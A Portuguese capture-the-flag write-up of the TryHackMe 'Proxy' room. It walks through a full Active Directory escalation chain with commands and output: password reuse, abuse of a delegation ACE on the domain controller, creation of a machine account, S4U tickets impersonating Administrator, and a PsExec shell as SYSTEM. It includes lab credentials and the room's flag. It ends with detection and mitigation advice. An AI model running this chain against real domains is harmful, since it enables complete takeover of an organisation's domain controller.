Proxy - Do Credential Reuse ao SYSTEM no Domain Controller (RBCD)

Nesta room do TryHackMe, parti de uma conta comum do domínio Windows e terminei com SYSTEM no Domain Controller. O caminho não foi uma vulnerabilidade do kernel nem a senha do Administrator: foi a combinação de reutilização de senha, uma ACL específica e delegação Kerberos.

Organizei o que realmente funcionou e os desvios que ensinaram quando insistir em uma pista e quando voltar à enumeração.

Ambiente de laboratório autorizado. IPs e credenciais são desta execução do TryHackMe; mudam após reset. Alguns comandos alteram objetos do Active Directory.

Índice

Etapa Conteúdo
Reconhecimento 1. Mapa · 2. Identificar DC e acesso · 3. Enumerar usuários
Descoberta 4. KeePass e Credential Reuse · 5. BloodHound e ACL
Escalação 6. Pré-requisitos · 7. Configurar RBCD · 8. Tickets S4U · 9. SMB e SYSTEM
Referência 10. Desvios · 11. Ferramentas · 12. Diagnóstico · 13. Checklist · 14. Defesa

1. Contexto e mapa da room

Item Valor
Domínio ctf.local
DC DC01.ctf.local, IP 10.64.163.15
SO Windows Server 2019, build 17763
Acesso inicial deste percurso j.smith
Conta que permitiu escalar r.williams
Objetivo confirmado Administrator via CIFS, shell SYSTEM
j.smith (usuário comum)
       |
       +--> KeePass --> Helpdesk01!
                            |
                    Credential Reuse
                            v
                        r.williams
                            |
                 AddAllowedToAct em DC01$
                            |
                 MachineAccountQuota = 10
                            |
                         LABPC01$
                            |
                    RBCD no DC01$
                            |
                    S4U2Self/Proxy
                            |
                Ticket CIFS/Administrator
                            |
                SMB (Pwn3d!) + PsExec
                            |
                         SYSTEM

Na investigação inicial também encontrei o share IT-Shared acessível para Guest (READ/WRITE), e uma automação que executava scripts como CTF\svc.scanner. Foram pistas reais, mas não vou inventar a ligação entre elas e a obtenção de j.smith: a cadeia reproduzível abaixo começa com essa conta disponível.

2. Identificar o DC e validar acesso

2.1 Nmap: procurar os serviços certos

DC_IP=10.64.163.15

nmap -Pn -sT -sV --version-light \
  -p 53,88,135,139,389,445,464,593,636,3268,3269,3389,5985,9389 \
  "$DC_IP"

Principais resultados:

53/tcp DNS       88/tcp Kerberos     389/tcp LDAP
445/tcp SMB      3268/tcp GC        3389/tcp RDP
5985/tcp WinRM   9389/tcp ADWS       Host: DC01
Domain: ctf.local
Opção Função
-Pn Não depende de ping para iniciar a varredura
-sT TCP Connect
-sV Detecção de serviço/versão
--version-light Testes de versão menos intensivos
-p Portas selecionadas

DNS, LDAP, Kerberos e SMB, junto aos detalhes do host, identificaram o Domain Controller. Porta aberta não significa vulnerabilidade. E -Pn não prova que todos os endereços escaneados estão ativos.

2.2 Validar credenciais

nxc smb "$DC_IP" -d ctf.local -u j.smith -p 'JSmith@IT2024'
nxc rdp "$DC_IP" -d ctf.local -u j.smith -p 'JSmith@IT2024'

SMB e RDP aceitaram a conta. Para abrir uma sessão:

xfreerdp /v:"$DC_IP" /u:j.smith /d:ctf.local \
  /p:'JSmith@IT2024' /cert:ignore /dynamic-resolution

O NetExec serve para validar autenticação; o FreeRDP permite explorar os arquivos e ferramentas do Windows. Não confunda login RDP com privilégios administrativos, mesmo quando a ferramenta exibe mensagens chamativas.

3. Enumerar usuários e descobrir contas relevantes

Com um domínio identificado e credencial válida, prefiro obter contexto sobre usuários antes de tentar exploits locais.

nxc smb "$DC_IP" -d ctf.local \
  -u j.smith -p 'JSmith@IT2024' --users

LDAP retorna descrição e grupos:

ldapsearch -x -LLL -H "ldap://$DC_IP" \
  -D 'j.smith@ctf.local' -W \
  -b 'DC=ctf,DC=local' \
  '(&(objectCategory=person)(objectClass=user))' \
  sAMAccountName description memberOf
Opção Explicação
-x Bind LDAP simples
-LLL Saída limpa
-D / -W Conta e solicitação de senha
-b Base de busca no domínio
sAMAccountName Login
description / memberOf Descrição e grupos

Para investigar o usuário interessante:

ldapsearch -x -LLL -H "ldap://$DC_IP" \
  -D 'j.smith@ctf.local' -W \
  -b 'DC=ctf,DC=local' \
  '(sAMAccountName=r.williams)' \
  sAMAccountName memberOf description displayName

Retorno:

description: Help Desk Senior
memberOf: CN=sysadmin,CN=Users,DC=ctf,DC=local
memberOf: CN=Remote Desktop Users,CN=Builtin,DC=ctf,DC=local
sAMAccountName: r.williams

A descrição Help Desk Senior e o grupo personalizado sysadmin justificaram investigar a conta. O nome do grupo não prova que ela é Domain Admin. O que vale são as permissões efetivas.

4. KeePass e Credential Reuse

Durante o acesso autenticado, identifiquei um banco KeePass:

C:\Users\j.smith\Documents\Database.kdbx

Em outras rooms, procuro arquivos desse tipo nas pastas que posso ler, sem varrer o disco inteiro:

Get-ChildItem -Path "$env:USERPROFILE\Documents" -Filter '*.kdbx' -File -ErrorAction SilentlyContinue

Um arquivo .kdbx é protegido. Encontrá-lo não significa conseguir descriptografá-lo. A investigação permitiu obter a senha Helpdesk01!; como não registrei o método de desbloqueio, não vou inventar essa etapa.

Com uma senha relacionada a HelpDesk e uma conta Help Desk Senior, testei uma hipótese pontual de reutilização:

nxc smb "$DC_IP" -d ctf.local \
  -u r.williams -p 'Helpdesk01!'

Resultado confirmado:

[+] ctf.local\r.williams:Helpdesk01!

Esse foi o pivot real da room. Em vez de tentar milhões de senhas, utilizei informação já obtida em uma conta relacionada.

Acessei a sessão dessa conta:

xfreerdp /v:"$DC_IP" /u:r.williams /d:ctf.local \
  /p:'Helpdesk01!' /cert:ignore /dynamic-resolution

No Windows:

whoami
whoami /groups
whoami /priv

O token não mostrava SeDebugPrivilege ou SeImpersonatePrivilege. Porém um usuário sem privilégios locais elevados pode ter direitos de escrita relevantes no Active Directory.

5. BloodHound e confirmação da ACL

A AttackBox já tinha BloodHound Legacy (Electron + Neo4j), diferente do BloodHound CE. Usei o coletor compatível com Legacy.

pipx install bloodhound

cd /root/reports

/root/.local/bin/bloodhound-python \
  -u r.williams -p 'Helpdesk01!' \
  -d ctf.local \
  -dc dc01.ctf.local \
  -gc dc01.ctf.local \
  -ns 10.64.163.15 \
  --dns-tcp --dns-timeout 15 \
  -c DCOnly --zip

Importei o ZIP no BloodHound, marquei R.WILLIAMS@CTF.LOCAL como Owned e procurei caminhos para objetos críticos. A relação encontrada foi:

R.WILLIAMS@CTF.LOCAL
       |
       | AddAllowedToAct
       v
DC01.CTF.LOCAL

Consulta Cypher para isolar o relacionamento:

MATCH p=(u:User {name:'R.WILLIAMS@CTF.LOCAL'})
  -[:AddAllowedToAct]->(c:Computer {name:'DC01.CTF.LOCAL'})
RETURN p

A seção Windows Abuse do BloodHound explica a relação; para ter certeza, conferi a ACE no AD.

Import-Module ActiveDirectory

$dn = (Get-ADComputer DC01).DistinguishedName

(Get-Acl "AD:\$dn").Access |
  Where-Object {
    $_.IdentityReference -match 'r\.williams|sysadmin'
  } |
  Select-Object IdentityReference,ActiveDirectoryRights,ObjectType,IsInherited |
  Format-List

Resultado real:

IdentityReference     : CTF\r.williams
ActiveDirectoryRights : WriteProperty
ObjectType            : 3f78c3e5-f79a-46bd-a0b8-9d18116ddc79
IsInherited           : False

O GUID 3f78c3e5-f79a-46bd-a0b8-9d18116ddc79 identifica o atributo msDS-AllowedToActOnBehalfOfOtherIdentity, relacionado à Resource-Based Constrained Delegation (RBCD).

Conceito Significado
ACL / ACE Lista de permissões / entrada específica
WriteProperty Direito de escrever uma propriedade do objeto
AddAllowedToAct Relação BloodHound para configurar RBCD
RBCD O recurso de destino controla quais identidades podem atuar em seu nome
DC01$ Conta de máquina do Domain Controller

Conclusão da enumeração: r.williams não precisava ser Domain Admin: tinha direito de escrita no atributo preciso que controla a delegação no objeto DC01$.

6. Pré-requisitos: por que RBCD seria possível?

Além da permissão AddAllowedToAct, precisava de uma conta de serviço/computador sob controle.

Get-ADObject -Identity 'DC=ctf,DC=local' -Properties 'ms-DS-MachineAccountQuota' |
  Select-Object -ExpandProperty 'ms-DS-MachineAccountQuota'

Resultado: 10. Essa é a cota padrão para criação de computadores; ainda foi necessário confirmar a criação de fato.

O exemplo New-MachineAccount mostrado pelo BloodHound é do Powermad (PowerShell). O addcomputer.py realiza a etapa equivalente pelo Impacket (Linux). Verifique a versão instalada com addcomputer.py -h, não copie parâmetros incompletos de uma página.

7. Conta de computador e configuração RBCD

Na AttackBox:

addcomputer.py \
  -dc-ip 10.64.163.15 \
  -dc-host DC01.ctf.local \
  -computer-name 'LABPC01$' \
  -computer-pass 'LabPC2026!Strong' \
  'ctf.local/r.williams:Helpdesk01!'

Retorno: Successfully added machine account LABPC01$.

Parâmetro Função
-computer-name Nome da conta de máquina criada
-computer-pass Senha sob nosso controle
-dc-ip / -dc-host Identificam o DC
domínio/usuário:senha Conta que solicita a criação

O $ final é típico das contas de máquina.

Para configurar a delegação no objeto DC01$:

rbcd.py \
  -dc-ip 10.64.163.15 \
  -action write \
  -delegate-from 'LABPC01$' \
  -delegate-to 'DC01$' \
  'ctf.local/r.williams:Helpdesk01!'

Resultado: Delegation rights modified successfully!.

-delegate-from identifica a conta autorizada a delegar. -delegate-to é o recurso de destino. A escrita modifica um atributo sensível no AD.

Conferência:

rbcd.py \
  -dc-ip 10.64.163.15 \
  -action read \
  -delegate-to 'DC01$' \
  'ctf.local/r.williams:Helpdesk01!'

Resultado: LABPC01$ apareceu autorizada no objeto DC01$.

8. S4U2Self, S4U2Proxy e Pass-the-Ticket

Conceito Significado
TGT Ticket para pedir outros tickets ao KDC
TGS Ticket destinado a um serviço específico
SPN Identificador Kerberos de serviço, como cifs/DC01.ctf.local
S4U2Self Serviço solicita ticket representando outro usuário
S4U2Proxy Obtém ticket para o serviço de destino, conforme a delegação
ccache Arquivo de cache Kerberos usado pelo Linux

Agora que a delegação estava configurada, solicitei um ticket CIFS para Administrator, autenticando como a máquina que eu controlava:

cd /root/reports

getST.py \
  -spn 'cifs/DC01.ctf.local' \
  -impersonate Administrator \
  -dc-ip 10.64.163.15 \
  'ctf.local/LABPC01$:LabPC2026!Strong'

Resultado:

[*] Getting TGT for user
[*] Impersonating Administrator
[*] Requesting S4U2self
[*] Requesting S4U2Proxy
[*] Saving ticket in Administrator@cifs_DC01.ctf.local@CTF.LOCAL.ccache

-spn define o serviço; -impersonate, a identidade representada; -dc-ip, o KDC. Um aviso CCache file is not found. Skipping... não impediu o sucesso, porque a ferramenta obteve o TGT necessário.

Ativei o cache para os próximos comandos:

export KRB5CCNAME="$PWD/Administrator@cifs_DC01.ctf.local@CTF.LOCAL.ccache"
klist -c "$KRB5CCNAME"

Saída comprovada:

Default principal: Administrator@ctf.local
Valid starting: 10/25/26 15:04:34
Expires:        10/26/26 01:04:34
Service:        cifs/DC01.ctf.local@CTF.LOCAL

export define uma variável de ambiente no shell e nos processos filhos: não modifica o ticket, não o renova e não instala nada no Windows. Esse cache continha um ticket CIFS, não a senha ou um TGT universal de Administrator.

9. Acesso administrativo, PsExec e flag

Validar o ticket no SMB:

nxc smb DC01.ctf.local \
  -d ctf.local \
  -u Administrator \
  -k --use-kcache

Resultado:

[+] ctf.local\Administrator from ccache (Pwn3d!)

Depois, obter shell remoto:

psexec.py -k -no-pass \
  -dc-ip 10.64.163.15 \
  ctf.local/Administrator@DC01.ctf.local

O Impacket encontrou ADMIN$ gravável, enviou um executável temporário e criou/iniciou um serviço pelo Service Control Manager. PsExec deixa artefatos de serviço, não é uma simples consulta.

No prompt remoto:

whoami
whoami /priv
hostname

Resposta:

nt authority\system
SeDebugPrivilege        Enabled
SeImpersonatePrivilege  Enabled
DC01

Distinção importante: a autenticação usou um ticket de Administrator, mas o executável de serviço criado pelo PsExec rodou como LocalSystem. Por isso o shell ficou como SYSTEM.

A flag:

cd C:\Users\Administrator\Desktop
type flag.txt
THM{RBCD_S4U2Pr0xy_T1ck3t_Th3ft_2_DA}

Resultado comprovado: RBCD aceita, ticket S4U emitido, autenticação administrativa SMB, execução remota como SYSTEM e flag encontrada.

10. Caminhos investigados que não avançaram

Não é necessário repetir todos os erros, mas é útil registrar por que uma hipótese foi abandonada.

Pista Evidência encontrada Por que não resolvia
Kerberoasting: svc.helpdesk TGS $krb5tgs$23$; Hashcat -m 13100 com rockyou não recuperou senha Material de cracking não equivale a senha ou sessão
svc.mssql Conta de serviço com SPNs MSSQL e associação a Backup Operators Pista interessante, sem cadeia comprovada
Delegação tradicional svc.helpdesk tinha TrustedToAuthForDelegation=True, mas lista msDS-AllowedToDelegateTo vazia Não identificamos um caminho de delegação utilizável
Mimikatz privilege::debug falhou; sekurlsa::logonpasswords retornou acesso negado Sessão comum não tinha privilégios para ler LSASS
PrivescCheck / WES-NG / Spooler Permissões e possíveis CVEs em build antigo Hipótese ou CVE listado não é exploração confirmada
Tarefa de HelpDesk Eventos 129/200 mostraram \HelpDesk\HelpDesk-TicketRenewal; schtasks não a listou Não consegui demonstrar escrita ou execução controlável
IT-Shared / svc.scanner Share Guest e scanner de scripts executados periodicamente Achados da investigação, mas não constituíram a cadeia RBCD
Ticket antigo de svc.helpdesk KRB-CRED no arquivo HelpDesk-Auth.b64 TGT expirado, sem renovação possível em outubro de 2026

10.1 Por que o arquivo HelpDesk-Auth.b64 não serviu?

No Desktop de r.williams, um aviso dizia que a automação HelpDesk executava periodicamente e mantinha temporários em C:\Windows\Temp. Havia o arquivo HelpDesk-Auth.b64, legível por r.williams.

Os primeiros bytes Base64 decodificados indicaram formato KRB-CRED. Depois da conversão para .ccache:

ticketConverter.py HelpDesk-Auth.kirbi HelpDesk-Auth.ccache
klist -c HelpDesk-Auth.ccache

O cache era de svc.helpdesk@CTF.LOCAL, para krbtgt/ctf.local. Portanto TGT, não hash Kerberoasting.

Início:      20/05/2026
Expiração:   21/05/2026
Renovação:   até 27/05/2026

A execução da room foi em 25/10/2026. Converter formato de arquivo não restaura a validade de um ticket expirado.

10.2 Como identifiquei a tarefa mesmo sem acesso direto?

Get-WinEvent -FilterHashtable @{
  LogName='Microsoft-Windows-TaskScheduler/Operational'
  Id=129,200
  StartTime=(Get-Date).AddDays(-1)
} | Where-Object {
  $_.Message -match 'HelpDesk|powershell'
} | Select-Object TimeCreated,Id,Message | Format-List

Os eventos expuseram a execução de \HelpDesk\HelpDesk-TicketRenewal, mas o comando schtasks.exe /query retornou que não localizava o caminho. Não ver uma tarefa em uma ferramenta não prova que ela nunca existiu; permissões e ciclo de vida podem mudar a visibilidade.

10.3 Aprendizado do desvio

Se já tenho uma credencial válida, não preciso começar sempre por CVEs, Mimikatz ou cracking. No AD, grupos, ACLs e relações podem oferecer um caminho muito mais direto.

11. Ferramentas: quando usar e como interpretar

Ferramenta Serve para Limitação
Nmap Serviços e portas Serviço exposto não prova falha
NetExec Validar credenciais e privilégios de rede Resultado depende do protocolo
LDAP / módulo AD Contas, grupos, atributos e políticas Permissões e escopo de busca importam
BloodHound Relacionamentos entre objetos e identidades Precisa confirmar ACL e pré-requisitos
addcomputer.py Criar uma conta de máquina Muda o domínio; pode falhar por ACL/cota
rbcd.py Ler ou escrever delegação RBCD A ação write altera segurança
getST.py Emitir ticket Kerberos para serviço/S4U Requer SPN e delegação válidos
klist Inspecionar principal, SPN e datas Não testa se serviço aceita o ticket
psexec.py Execução remota administrativa Usa compartilhamento e cria serviço

Operadores e parâmetros frequentes

Sintaxe Significado
Barra \ ao final da linha Bash Continua o comando; não pode haver espaços depois
Crase PowerShell Continuação de linha em scripts PowerShell
$ em LABPC01$ Parte do nome da conta de máquina
-k Autenticação Kerberos
-no-pass Não solicita senha
--use-kcache Usa o cache Kerberos no NetExec
-action read/write Consultar/alterar RBCD
-impersonate Identidade representada no fluxo S4U
export KRB5CCNAME=... Variável de ambiente que aponta para o cache

Erro comum no Linux: command not found não quer dizer necessariamente que o software não existe. Verifique command -v ferramenta, type -a ferramenta, pipx list e possíveis nomes impacket-ferramenta. No laboratório havia instalações gerenciadas por pyenv e pipx, e a VM zerava após reset.

12. Se não encontrar nada, onde procurar?

Credencial válida, mas sem caminho de privilégio

No Windows:

whoami /all
Get-ADUser r.williams -Properties Description,MemberOf |
  Select-Object SamAccountName,Description,MemberOf
Get-ADComputer -Filter * -Properties DNSHostName |
  Select-Object Name,DNSHostName

Depois, no BloodHound:

  1. Marque como Owned só as contas realmente controladas.
  2. Procure caminhos até objetos importantes, não apenas até grupos com nomes interessantes.
  3. Analise permissões como GenericAll, GenericWrite, WriteDacl e AddAllowedToAct.
  4. Confirme a ACE no AD. Relações como Contains indicam estrutura, não privilégio explorável.

BloodHound não resolve o DC/LDAP

dig @10.64.163.15 dc01.ctf.local A +short
nc -vz -w 3 10.64.163.15 389
type -a bloodhound-python
pipx list

O erro Failed to resolve LDAP server IP apareceu mesmo após editar /etc/hosts: o coletor faz consultas DNS próprias. Confira os argumentos -dc, -gc, -ns e --dns-tcp, e confirme qual instalação do Python está executando.

BloodHound aponta direito, mas eu não consigo usar

Consulte o objeto real e a ACL correspondente:

$dn = (Get-ADComputer DC01).DistinguishedName
(Get-Acl "AD:\$dn").Access |
  Select-Object IdentityReference,ActiveDirectoryRights,ObjectType,IsInherited

Observe se o direito é herdado, específico a um atributo ou concedido a um grupo. Uma aresta no grafo não substitui a validação.

Ticket foi emitido, mas SMB falha

echo "$KRB5CCNAME"
klist -c "$KRB5CCNAME"
getent hosts DC01.ctf.local

Verifique data/horário, principal, SPN, hostname exato e resolução DNS. Um ticket cifs/DC01 é específico daquele serviço e host, não de qualquer protocolo da rede.

Regra de estudo: diferenciar indício → permissão confirmada → técnica executada → impacto demonstrado. Isso evita confundir hipótese de CVE com acesso obtido.

13. Checklist reutilizável para futuras rooms AD

Fase O que procurar Ferramenta
1. Escopo Hosts, domínio, controlador, DNS Nmap, registros SRV
2. Autenticação Contas e serviços onde o login funciona NetExec, RDP
3. Enumeração Usuários, descrições, grupos, SPNs LDAP, AD PowerShell
4. Credenciais Arquivos de configuração e bancos acessíveis Busca restrita a pastas legíveis
5. Reutilização Senhas já obtidas em contas relacionadas Uma validação pontual; conferir lockout
6. Relações AD ACLs e caminhos de controle BloodHound + Get-Acl
7. Pré-requisitos MAQ, delegação, conta de máquina controlada Atributos AD, Impacket
8. Execução Alteração confirmada e ticket obtido rbcd.py, getST.py
9. Evidência Ticket aceito e contexto do shell klist, nxc, whoami
10. Documentação Comandos, saídas, aprendizados e limites Notas do exercício

O que mais economiza tempo: antes de tentar escalar com exploit local, pergunto se minha conta já pode modificar algum objeto importante do domínio.

14. Detecção, mitigação e referências

Três condições facilitaram a escalação:

  • Senha reutilizada: o segredo relacionado a HelpDesk autenticou em r.williams.
  • Permissão excessiva no DC: r.williams podia modificar o atributo RBCD de DC01$.
  • MachineAccountQuota = 10: permitiu criar uma conta de máquina controlada.

Em um ambiente real, as medidas centrais seriam: exigir senhas distintas e gestão de segredos; revisar delegações e ACEs dos controladores de domínio; evitar permissões de escrita RBCD desnecessárias; limitar ingresso/criação de computadores; avaliar MachineAccountQuota=0 se o ingresso for gerenciado, sem depender só dessa configuração.

Eventos que merecem correlação

Event ID O que investigar
4741 Nova conta de computador
5136 Modificação de objeto no AD, incluindo possível alteração de atributo RBCD
4769 Requisições Kerberos de ticket de serviço
4624 Logon no host
7045 Serviço instalado remotamente, compatível com o comportamento PsExec

A visibilidade depende de auditoria habilitada. Um evento isolado não prova comprometimento. Uma sequência nova máquina → alteração RBCD → tickets incomuns → SMB administrativo → novo serviço merece atenção.

Material complementar


O principal aprendizado da Proxy: Active Directory não é apenas senha e grupo administrativo. Relações entre objetos também concedem poder. Neste laboratório, uma credencial reutilizada deu acesso a uma ACE específica; o RBCD transformou essa permissão em um ticket Kerberos válido; o SMB e o PsExec confirmaram o impacto com SYSTEM no Domain Controller.